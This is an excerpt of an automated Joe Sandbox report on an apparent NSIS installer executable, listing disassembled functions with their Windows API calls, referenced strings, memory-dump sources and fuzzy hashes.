Opcode Fuzzy Hash: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(?,00000064,?), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

UXTHEME, xrefs: 0040675B
%s%S.dll, xrefs: 0040679E
\, xrefs: 0040677A

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

unpacking data: %d%%, xrefs: 00402E33, 00402E43
verifying installer: %d%%, xrefs: 00402E3A

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction ID: 1bfa7b94c56a1c823be81e007cf4dd9dcc28a4463181553f30e61efe61dd31fb
Opcode Fuzzy Hash: a591fce2f88080881549ac7e7473da6278debd618655821d08f98b44133a3158
Instruction Fuzzy Hash: 30F0317064020CABDF206F60DD4ABEE3B69EB40319F00803AFA45B51D0DBB999598F99

Function 004028AD Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402901
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 0040291D
GlobalFree.KERNEL32(?), ref: 00402956
GlobalFree.KERNEL32(00000000), ref: 00402969
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402981
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402995

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: e143629cae8b78290b003201c05bc4b587d1aa12e059c50f50ac21e9d0b7acf9
Instruction ID: fa73a2a76dd28b4b8719808dd60f9f08d060129827b0ffc87b4efdc8f5ae5e12
Opcode Fuzzy Hash: e143629cae8b78290b003201c05bc4b587d1aa12e059c50f50ac21e9d0b7acf9
Instruction Fuzzy Hash: 3D21BFB1D00124BBCF116FA5DE48D9E7E79EF09364F10023AF9607A2E1CB794D418B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 00404C9F
%u.%u%s%s, xrefs: 00404C97

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 0040667C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 0040176F Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,0040A5D8,0040A5D8,00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717945007.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717969676.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717997307.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_4UQ5wnI389.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,00437800,?,75572EE0,00405B1A,?,00437800,75572EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,00437800,?,75572EE0,00405B1A,?,00437800,75572EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,75572EE0,00405B1A,?,00437800,75572EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000005.00000002.2717926385.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717907797.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
